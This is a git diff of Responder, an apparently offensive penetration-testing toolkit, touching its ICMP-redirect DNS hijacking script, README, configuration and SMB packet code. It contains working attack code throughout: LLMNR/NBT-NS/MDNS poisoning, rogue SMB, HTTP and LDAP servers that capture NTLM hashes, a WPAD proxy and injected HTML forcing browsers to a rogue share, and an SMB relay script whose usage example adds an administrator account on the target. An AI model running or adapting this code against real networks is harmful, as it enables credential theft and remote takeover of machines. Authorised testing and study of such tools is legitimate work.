# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
@@ -212,15 +212,15 @@ def ReceiveArpFrame(DstAddr):
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
|
||||
def IcmpRedirectSock(DestinationIP):
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
@@ -235,7 +235,7 @@ def IcmpRedirectSock(DestinationIP):
|
||||
IPPackUDP.calculate()
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
@@ -243,12 +243,12 @@ def IcmpRedirectSock(DestinationIP):
|
||||
|
||||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
||||
if ToThisHost2 == None:
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
exit()
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
exit()
|
||||
|
||||
def RunThisInLoop(host, host2, ip):
|
||||
dns1 = pipes.quote(host)
|
||||
@@ -258,10 +258,9 @@ def RunThisInLoop(host, host2, ip):
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
sleep(480)
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
sleep(480)
|
||||
|
||||
FindWhatToDo(ToThisHost2)
|
||||
|
||||
|
||||
80
README.md
80
README.md
@@ -5,13 +5,13 @@ http://www.spiderlabs.com
|
||||
INTRODUCTION
|
||||
============
|
||||
|
||||
This tool is first an LLMNR and NBT-NS responder, it will answer to
|
||||
This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
|
||||
*specific* NBT-NS (NetBIOS Name Service) queries based on their name
|
||||
suffix (see: http://support.microsoft.com/kb/163409). By default, the
|
||||
tool will only answers to File Server Service request, which is for SMB.
|
||||
The concept behind this, is to target our answers, and be stealthier on
|
||||
the network. This also helps to ensure that we don't break legitimate
|
||||
NBT-NS behavior. You can set the -r option to "On" via command line if
|
||||
NBT-NS behavior. You can set the -r option via command line if
|
||||
you want this tool to answer to the Workstation Service request name
|
||||
suffix.
|
||||
|
||||
@@ -22,12 +22,12 @@ FEATURES
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
||||
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
||||
Clear text password is supported for NT4, and LM hashing downgrade when the
|
||||
--lm option is set to On. This functionality is enabled by default when the
|
||||
--lm option is set. This functionality is enabled by default when the
|
||||
tool is launched.
|
||||
|
||||
- Built-in MSSQL Auth server.
|
||||
In order to redirect SQL Authentication to this tool, you will need to
|
||||
set the option -r to On(NBT-NS queries for SQL Server lookup are using
|
||||
set the option -r (NBT-NS queries for SQL Server lookup are using
|
||||
the Workstation Service name suffix) for systems older than windows
|
||||
Vista (LLMNR will be used for Vista and higher). This server supports
|
||||
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
||||
@@ -35,7 +35,7 @@ FEATURES
|
||||
|
||||
- Built-in HTTP Auth server.
|
||||
In order to redirect HTTP Authentication to this tool, you will need
|
||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
||||
to set the option -r for Windows version older than Vista (NBT-NS
|
||||
queries for HTTP server lookup are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
||||
@@ -45,7 +45,7 @@ FEATURES
|
||||
|
||||
- Built-in HTTPS Auth server.
|
||||
In order to redirect HTTPS Authentication to this tool, you will need
|
||||
to set the -r option to On for Windows versions older than Vista (NBT-NS
|
||||
to set the -r option for Windows versions older than Vista (NBT-NS
|
||||
queries for HTTP server lookups are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
||||
@@ -57,7 +57,7 @@ FEATURES
|
||||
|
||||
- Built-in LDAP Auth server.
|
||||
In order to redirect LDAP Authentication to this tool, you will need
|
||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
||||
to set the option -r for Windows version older than Vista (NBT-NS
|
||||
queries for HTTP server lookup are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
||||
@@ -118,52 +118,60 @@ USAGE
|
||||
First of all, please take a look at Responder.conf and set it for your needs.
|
||||
Running this tool:
|
||||
|
||||
- python Responder.py [options]
|
||||
- ./Responder.py [options]
|
||||
|
||||
Usage Example:
|
||||
|
||||
python Responder.py -i 10.20.30.40 -r On -F On -w On
|
||||
./Responder.py -i 10.20.30.40 -w -r -f
|
||||
|
||||
or:
|
||||
|
||||
python Responder.py -i 10.20.30.40 -wrf
|
||||
|
||||
Options List:
|
||||
|
||||
-h, --help show this help message and exit.
|
||||
-h, --help show this help message and exit
|
||||
|
||||
-i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to.
|
||||
(usually yours)
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests from which workstation to
|
||||
which workstation without poisoning anything.
|
||||
|
||||
-I eth0, --interface=eth0 Network interface to use
|
||||
-i 10.20.30.40, --ip=10.20.30.40
|
||||
The ip address to redirect the traffic to. (usually
|
||||
yours)
|
||||
|
||||
-b Off, --basic=Off Set this to On if you want to return a
|
||||
Basic HTTP authentication. Off will return
|
||||
an NTLM authentication.
|
||||
-I eth0, --interface=eth0 Network interface to use
|
||||
|
||||
-r Off, --wredir=Off Set this to On to enable answers for netbios
|
||||
wredir suffix queries. Answering to wredir
|
||||
will likely break stuff on the network
|
||||
(like classics 'nbns spoofer' will).
|
||||
Default value is therefore set to Off.
|
||||
-b, --basic Set this if you want to return a Basic HTTP
|
||||
authentication. If not set, an NTLM authentication
|
||||
will be returned.
|
||||
|
||||
-f Off, --fingerprint=Off This option allows you to fingerprint a
|
||||
host that issued an NBT-NS or LLMNR query.
|
||||
-r, --wredir Set this to enable answers for netbios wredir suffix
|
||||
queries. Answering to wredir will likely break stuff
|
||||
on the network (like classics 'nbns spoofer' would).
|
||||
Default value is therefore set to False
|
||||
|
||||
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
|
||||
proxy server. Default value is Off
|
||||
-d, --NBTNSdomain Set this to enable answers for netbios domain suffix
|
||||
queries. Answering to domain suffixes will likely
|
||||
break stuff on the network (like a classic 'nbns
|
||||
spoofer' would). Default value is therefore set to
|
||||
False
|
||||
|
||||
--lm=Off Set this to On if you want to force LM hashing
|
||||
downgrade for Windows XP/2003 and earlier. Default value is Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
|
||||
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
|
||||
wpad.dat file retrieval. This might cause a login prompt in
|
||||
some specific cases. Default value is Off
|
||||
-w, --wpad Set this to start the WPAD rogue proxy server. Default
|
||||
value is False
|
||||
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER,
|
||||
LLMNR requests from which workstation to which workstation
|
||||
without poisoning any requests. Also, you can map domains,
|
||||
MSSQL servers, workstations passively.
|
||||
-F, --ForceWpadAuth Set this if you want to force NTLM/Basic
|
||||
authentication on wpad.dat file retrieval. This might
|
||||
cause a login prompt in some specific cases.
|
||||
Therefore, default value is False
|
||||
|
||||
--lm Set this if you want to force LM hashing downgrade for
|
||||
Windows XP/2003 and earlier. Default value is False
|
||||
|
||||
-v More verbose
|
||||
|
||||
-v More verbose
|
||||
|
||||
|
||||
For more information read these posts:
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||
SQL = On
|
||||
SMB = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
;;Listen on 25/TCP, 587/TCP
|
||||
@@ -19,9 +20,17 @@ Challenge = 1122334455667788
|
||||
;Set this to change the default logging file
|
||||
SessionLog = Responder-Session.log
|
||||
;
|
||||
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
RespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
RespondToName =
|
||||
;
|
||||
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
DontRespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
;
|
||||
[HTTP Server]
|
||||
;;
|
||||
@@ -41,10 +50,8 @@ ExecFilename = FixInternet.exe
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
;
|
||||
;HTML answer to inject.
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
|
||||
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
|
||||
;
|
||||
[HTTPS Server]
|
||||
;
|
||||
;Change to use your certs
|
||||
|
||||
2947
Responder.py
2947
Responder.py
File diff suppressed because it is too large
Load Diff
@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
#SMB Negotiate Answer ESS NTLM only packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
## END
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
|
||||
################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||
class SMBNegoKerbAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x09"),
|
||||
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech3ASNId", "\x06"),
|
||||
("NegThisMech3ASNLen", "\x0a"),
|
||||
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
################################################################################
|
||||
class SMBSession1Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
|
||||
553
SMBRelay.py
553
SMBRelay.py
@@ -11,7 +11,7 @@
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
@@ -21,13 +21,13 @@ from socket import *
|
||||
from RelayPackets import *
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
|
||||
prog=sys.argv[0],
|
||||
@@ -45,19 +45,19 @@ parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBac
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.CMD is None:
|
||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
# Set some vars.
|
||||
@@ -69,7 +69,7 @@ OURIP = options.OURIP
|
||||
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
@@ -93,76 +93,76 @@ Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=lo
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
with open(ResponderPATH+outfile,"r") as filestr:
|
||||
if cmd == None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if cmd != None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
with open(ResponderPATH+outfile,"r") as filestr:
|
||||
if cmd == None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if cmd != None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
except:
|
||||
raise
|
||||
raise
|
||||
|
||||
#Function used to parse SMB NTLMv1/v2
|
||||
#Function used to parse SMB NTLMv1/v2
|
||||
def ParseHash(data,Client, Target):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen >= 30:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
if NthashLen == 24:
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
